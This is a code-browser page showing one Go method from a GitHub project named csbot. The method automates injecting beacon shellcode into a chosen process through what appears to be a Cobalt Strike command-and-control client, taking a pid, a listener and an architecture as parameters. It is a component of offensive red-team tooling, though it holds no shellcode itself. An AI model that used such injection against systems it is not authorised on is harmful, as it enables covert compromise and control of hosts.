MCPcopy Create free account
hub / github.com/Xenov-X/csbot / executeInjectBeacon

Method executeInjectBeacon

workflow/executor_spawn.go:199–225  ·  view source on GitHub ↗

executeInjectBeacon injects beacon shellcode into a process

(ctx context.Context, client *csclient.Client, beaconID string, action Action)

Source from the content-addressed store, hash-verified

197
198// executeInjectBeacon injects beacon shellcode into a process
199func (e *Executor) executeInjectBeacon(ctx context.Context, client *csclient.Client, beaconID string, action Action) (string, error) {
200 pidVal, ok := action.Parameters["pid"]
201 if !ok {
202 return "", fmt.Errorf("pid parameter required for inject_beacon")
203 }
204 var pid int
205 switch v := pidVal.(type) {
206 case float64:
207 pid = int(v)
208 case int:
209 pid = v
210 default:
211 return "", fmt.Errorf("pid must be a number")
212 }
213
214 listener, ok := action.Parameters["listener"].(string)
215 if !ok {
216 return "", fmt.Errorf("listener parameter required for inject_beacon")
217 }
218 arch, _ := action.Parameters["arch"].(string) // optional (x86 or x64)
219
220 resp, err := client.InjectBeacon(ctx, beaconID, pid, arch, listener)
221 if err != nil {
222 return "", err
223 }
224 return e.waitForOutput(ctx, client, resp.TaskID)
225}
226
227// executeSpawnShellcode spawns a process and injects shellcode
228func (e *Executor) executeSpawnShellcode(ctx context.Context, client *csclient.Client, beaconID string, action Action) (string, error) {

Callers 1

executeActionMethod · 0.95

Calls 1

waitForOutputMethod · 0.95

Tested by

no test coverage detected